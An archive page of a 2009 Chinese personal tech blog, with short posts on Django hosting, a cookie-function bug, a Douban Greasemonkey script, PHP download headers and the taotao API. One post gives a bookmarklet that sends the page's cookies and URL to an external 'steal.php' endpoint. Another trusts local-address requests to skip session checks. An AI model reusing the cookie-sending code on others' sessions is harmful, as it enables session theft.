Django on londit

浪点空间上,使用django #获取django svn 版本: mkdir script && cd script svn co http://code.djangoproject.com/svn/django/trunk/ django-trunk mkdir django-project && cd django-project django-admin startproject notsobad 最后: 设置.htaccess SetHandler python-program PythonHandler django.core.handlers.modpython SetEnv DJANGO_SETTINGS_MODULE notsobad.settings PythonPath "['/home/virtualhost/lnotsoba/script/django-trunk','/home/virtualhost/lnotsoba/script/django-project']+sys.path" PythonDebug On 参考: http://www.londit.cn/FAQ/Python http://docs.djangoproject.com/en/dev/topics/install/

May 12, 2009 · notsobad

一个cookie的问题

Bug能藏多长时间? 如果一直没人注意,也许会一直生存下去…… 下面是一个设置cookie的函数, 今天才发现它居然有这么严重的bug,你能看出来吗? function setCookie (name, value) { //设置名称为name,值为value的Cookie var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : '/'; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; str = name + "=" + value + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); document.cookie = str; } function getCookie(c_name) { if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "="); if (c_start != -1) { c_start = c_start + c_name.length + 1; c_end = document.cookie.indexOf(";",c_start); if (c_end == -1) c_end = document.cookie.length; return unescape(document.cookie.substring(c_start,c_end)); } } return ""; } 问题在这里,绕了半天才想明白。 var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : ‘/’; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; 因为argc的取值是1,2,3… argv[]的key取值是0,1,2,3…..

May 11, 2009 · notsobad

Get Cookie

如果你需要查看其他网站给自己的cookie,可以这样: [See cookie](javascript:\(function\(\){prompt\("Cookie is:", document.cookie\);}\)\(\);) 把它拖动到书签工具栏上,ie就是加为书签,然后在需要的网站上点这个书签,就可以看到cookie 下面这个,会把cookie送给其他站点(如果你有这方面需要) [Send cookie](javascript:\(function\(\){var%20a=window,b=document,c=encodeURIComponent,d=a.open\("http://blog.notsobad.cn/php/steal.php?url="+c\(b.location\)+"&cookie="+c\(b.cookie\),"bkmk_popup","left="+\(\(a.screenX||a.screenLeft\)+10\)+",top="+\(\(a.screenY||a.screenTop\)+10\)+",height=420px,width=650px,resizable=1,alwaysRaised=1"\);a.setTimeout\(function\(\){d.focus\(\)},300\)}\)\(\);) steal.php <? // steal.php function _p($s, $d){ echo "<pre>"; echo "$d\n"; print_r($s); echo "</pre>"; } _p($_GET, '$_GET is :'); _p($_POST, '$_POST is :'); ?>

May 11, 2009 · notsobad

Joey

《Friends》结束后joey去拍了《Joey》….. Joey还是friends里的老样子,还是傻乎乎的,还是有总能泡到妞,还是friends里的生活,还是不停面试,笑料都差不多 百度贴吧里面可以看到,这里 imdb: http://www.imdb.com/title/tt0375355/ 好像只拍了两季,看了还可以。

May 9, 2009 · notsobad

不想这样

两周年了,又一个两年,可是事情却记得很清楚,为什么忘不掉呢? 最近状态很差,上班,窩在在自己很不舒服的椅子上,对着刺眼的屏幕,眼睛酸痛,不时要柔一下,闭一会眼,难受。 现在真的是时候了,不想下一个两年还是这个样子。

May 8, 2009 · notsobad

shell中01-20列表的创建

chinaunix上的一个帖子: http://bbs2.chinaunix.net/viewthread.php?tid=1443099&extra=&page=1 我要快速创建20个文件,test_01.txt。。。。test_20.txt, 01-20这个怎么处理,1..20只是1 2 3 4 5 6 7 。。。20,个位数的时候没有前面的0. 不符合要求。 请求高手指点。 下面是一些不同的做法 ...

May 3, 2009 · notsobad

douban小组中的'只看楼主'

此脚本已过时,请访问这个替代 From: notsobad 最近在追着就看豆瓣的那些直播贴,很无聊。。。。 写了个greasemokey脚本,添加了个只看楼主功能。 代码在这里 /********************************************************* 用于douban小组中的"只看搂主",会把楼主的帖子加边框,同时,添加快捷键n,p “n”: 跳转到楼主下一个帖子,如果到了本页结尾,则跳回第一条 "p": 跳转到楼主下一个帖子,如果到了本页结尾,则跳回下一页 *********************************************************/ // ==UserScript== // @name douban // @namespace douban // @description test // @include *.douban.com/* // ==/UserScript== var log = (unsafeWindow.console && console.log) || GM_log; var $ = unsafeWindow.jQuery || function(){}; log("now url: " + location.href); function xPath(aNode, aExpr) { var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ? aNode.documentElement : aNode.ownerDocument.documentElement); var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null); var found = []; var res; while (res = result.iterateNext()) found.push(res); return found; } (function(){ /********************************************************** 用于douban小组中的"只看搂主",会把楼主的帖子加边框,同时,添加快捷键n,p “n”: 跳转到楼主下一个帖子,如果到了本页结尾,则跳回第一条 "p": 跳转到楼主下一个帖子,如果到了本页结尾,则跳回下一页 **********************************************************/ if(location.href.indexOf("http://www.douban.com/group/topic") != 0) return; var temp = /&_lz_id=([^&\/\#]+)/.exec(location.href); if(temp){ var lz_id = temp[1]; var lz_url = "http://www.douban.com/people/"+ lz_id + "/"; }else{ // First page var lz = xPath(document , '//div[@id="in_tablem"]//td[@class="wrtd"][1]/a')[0]; var lz_id = lz.href.split('/people/')[1].replace('/',''); var lz_url = lz.href; } log("lz is: " + lz_url); var all = xPath(document , '//div[@id="in_tablem"]/table[@class="wr"]//table[@class="wr"]'); var pages = xPath(document , '//div[@id="in_tablem"]/div[@class="paginator"]//a'); //为分页链接附加参数,_lz_id Array.forEach(pages, function(p){ var sep = p.href.indexOf('?') != -1 ? '&' : '?'; p.href += sep + '_lz_id=' + lz_id; }); //高亮楼主, 添加锚点 var lz_list = []; Array.forEach(all, function(table, index){ user = table.getElementsByTagName('a')[0]; //log("now user: " + user.href); if(user.href == lz_url){ table.style.border="5px solid black"; table.style.overflow = "scroll"; lz_list.push(index); var a = document.createElement('a'); a.name = index; table.parentNode.insertBefore(a, table); } }); //快捷键 var i = 0; document.addEventListener('keydown', function(e){ if(e.target.tagName == 'INPUT' || e.target.tagName == 'TEXTAREA') return; var has_more = !!lz_list && i < lz_list.length && true; // 'n'=>78, 'p'=>80, 'j'=>74 if(!has_more){ if(e.keyCode == 80) location.href = pages[pages.length-1].href; else if(e.keyCode == 78) i=0; return; } if(e.keyCode == 78 || e.keyCode == 80){ //log('Moving next....'); location.href = '#' + lz_list[i]; i++; } },false); })();

April 30, 2009 · notsobad

笔记

我需要做一个页面保存的功能, 在服务端把页面整个wget保存下来。 由于服务端是有会话的,所以需要对本机的请求给自动通过,以前一直是用验证HTTP_HOST 是否为 localhost,这个方法有局限,今天想到可以这样 if($_SERVER['SERVER_ADDR'] == $_SERVER['REMOTE_ADDR']){ //。。。。。。。 } 由于有些内容离线看是没有意义的,所以决定添加一些标记来标识离线时要删掉的内容 如下: ...

April 30, 2009 · notsobad

ie6 download xml file

让浏览器输出一个xml的下载, ie6下面问题真多 两个函数 function is_ie (){ //Not Internet Explorer return stristr($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE; } function encode_filename($name){ return is_ie() ? urlencode($name) : $name; } 特定的header header('Content-Type: application/xml'); header("Content-Disposition: attachment;filename=". encode_filename("测试-" . $t->name . ".xml")); header('Pragma: private'); header('Cache-control: private, must-revalidate'); echo $xw->outputMemory(); 参考这个: http://markmail.org/message/i4okzvwuxmeggrkp 这个: http://www.jtricks.com/bits/content_disposition.html The filename should be in US-ASCII charset. The filename should not have any directory path information specified. The filename should not be enclosed in double quotes even though most browsers will support it. Content-Type header should be before Content-Disposition. Content-Type header should refer to an unknown MIME type (at least until the older browsers go away).

April 30, 2009 · notsobad

taotao api

taotao,也就是自己qq签名的api哎 参考这个 http://code.google.com/p/taotao/source/browse/trunk/TaotaoResponse.cs 还有这个 http://www.taotao.com/js/dkapi.js 可以得到地址为: <http://www.taotao.com/cgi- bin/msgj?qq=$>{qq}&num=${taotao_num}&t=${taotao_type} 如: [http://www.taotao.com/cgi- bin/msgj?qq=281116124&num=20&t=1](http://www.taotao.com/cgi- bin/msgj?qq=281116124&num=20&t=1) 貌似没什么限制,可以自己代码里用 附: 格式化后的dkapi.js 从这里可一看出返回参数的用途 var MAX_ITEMS=20,taotao_pane_id="id_apiPane",KEY_WORD_YJ="[假]"; var taotao_sr=new Array('网页','QQ机器人','QQ空间','QQ签名','短信','手机上网','MSN机器人','MSN签名','手机QQ','彩信','订阅',"",'QQ状态'); function LK(str) { return document.createElement(str); }function LL(str) { return document.getElementById(str); }function LG(str,target) { var re=new RegExp("http(s)?://([a-z0-9?.=%&-_;#\\/])+","ig"); if(target=='_blank') { str=str.replace(re,"<a target='_blank' href='$&'>$&</a>"); }else { str=str.replace(re,"<a href='$&'>$&</a>"); }return str; }function LH(str) { if(typeof(str)=="string") { str=str.replace(/[\r\n\t\0]/g,""); return str; } }function LE(str,target) { str=LH(str); var re=/(\[URL=(.[^\[]*)\])(.*?)(\[\/URL\])/ig; if(target=='_blank') { str=str.replace(re,"<A HREF=$2 TARGET=_blank>$3</A>"); }else { str=str.replace(re,"<A HREF=$2>$3</A>"); }return str; }function initApi() { if(typeoftaotao_qq=='undefined') { alert("we can not get qq num,show nothing...!"); return ; }if(typeoftaotao_num=='undefined'||taotao_num<=0||taotao_num>20) { taotao_num=20; }if(typeoftaotao_type=='undefined'||taotao_type<0||taotao_type>1) { taotao_type=0; } }function LI(url) { g_cximg=null; g_cximg=new Array(); var re=/\[IMG\](.+?)\[\/IMG\]/ig,tt=url.match(re); g_ubbcon=url.replace(re,''); for(var i=0;i<tt.length;++i) { g_cximg[g_cximg.length]=tt[i].replace(re,"$1"); } }function LF(str) { if(str.substr(0,3)==KEY_WORD_YJ) { str='<font style="color:red">'+KEY_WORD_YJ+'</font>'+str.substr(3,str.length-3); }return str; }function doApi(obj) { if(obj.ret!=0) { pane.innerHTML="对不起!暂时无法获取滔滔的唠叨,请稍候重试..."; return ; }var qq=obj.ui.qq,name=obj.ui.name,usn=obj.ui.usn,rank=obj.ui.rank,lrank=obj.ui.lrank,rec=obj.rec; var arr=obj.posts,i=0,data,pane=LL(taotao_pane_id),li,span,a,bD=false; for(i=0;i<arr.length;i++) { data=arr[i]; li=LK("li"); li.style.wordBreak="break-all"; li.style.height="auto"; li.style.overflowY="auto"; if(obj.type==1) { a=LK('a'); a.style.marginRight="8px"; a.innerText=data.nm; a.textContent=data.nm; a.href="<http://www.taotao.com/v1/space/>"+data.qq; li.appendChild(a); if(data.pqq) { li.appendChild(document.createTextNode("@")); a=LK('a'); a.style.marginRight="8px"; a.innerText=data.pnm; a.textContent=data.pnm; a.href="<http://www.taotao.com/v1/space/>"+data.pqq; li.appendChild(a); } }span=LK("span"); if(data.sr==10) { span.innerHTML=LE(data.cn,"_blank"); }else if(data.sr==9) { LI(data.cn); var cxlen=g_cximg.length; span.innerHTML=g_ubbcon+'&nbsp;<a target="_blank" href="<http://www.taotao.com/caixin.shtml?qq='+qq+>"&tid="+data.id+'">点击查看彩信</a>'; }else { span.innerHTML=LF(LG(data.cn,"_blank")); }li.appendChild(span); span=LK("span"); span.style.marginLeft="8px"; a=LK('a'); a.style.color="#929091"; if(parseInt(data.pqq)>0) { a.href='<http://www.taotao.com/v1/reply/t.'+data.pid+'/u.'+data.pqq>; }else { a.href='<http://www.taotao.com/v1/reply/t.'+data.id+'/u.'+qq>; }a.innerHTML=LJ(data.time); li.appendChild(span); span.appendChild(a); span=LK("span"); span.style.marginLeft="4px"; span.innerText="通过 "+taotao_sr[data.sr]; span.textContent="通过 "+taotao_sr[data.sr]; li.appendChild(span); pane.appendChild(li); } }function LJ(t) { if(t.charAt(1)!=',') { return t; }if(t.length<2) { return ""; }var n=t.charAt(0),v=t.substr(2,t.length),s=''; if(n==1) { s='约&nbsp;'+v+'&nbsp;秒前'; }else if(n==2) { s='约&nbsp;'+v+'&nbsp;分钟前'; }else if(n==3) { s='约&nbsp;'+v+'&nbsp;小时前'; }else if(n==4) { s='约&nbsp;1&nbsp;天前'; }else if(n==5) { s='约&nbsp;3&nbsp;天前'; }else if(n==6) { s='约&nbsp;1&nbsp;周前'; }else if(n==7) { s=v; }return s; }function inclApi() { var src="<http://www.taotao.com/cgi-bin/msgj?qq=>"+taotao_qq+"&num="+taotao_num+"&t="+taotao_type,htm='<div>'+'<ul id='+taotao_pane_id+' style="margin-bottom:5px">'+'</ul>'+'<table cellpadding="0" cellspacing="0" border="0" width="100%">'+'<tr>'+'<td align="left">'+'<a href="<http://www.taotao.com/v1/space/'+taotao_qq+'>" style="color:#0278c2;float:left;display:block;">更多唠叨</a>'+'</td>'+'<td align="right">'+'<a href="<http://www.taotao.com>" title="滔滔" target="_blank" style="width:96px;height:20px;cursor:pointer;float:left;display:block;*filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=\'[http://www.taotao.com/images/logo.png\',sizingMethod=\'image\'](http://www.taotao.com/images/logo.png%5C',sizingMethod=%5C'image%5C'));background:url(<http://www.taotao.com/images/logo.png>) no-repeat left top !important;*background:none;"></a>'+'</td>'+'</tr>'+'</table>'+'</div>'; window.document.write(htm); window.document.write('<sc'+'ript type="text/javascript" charset="utf-8" src="'+src+'"></'+'script>'); }initApi(); inclApi();

April 30, 2009 · notsobad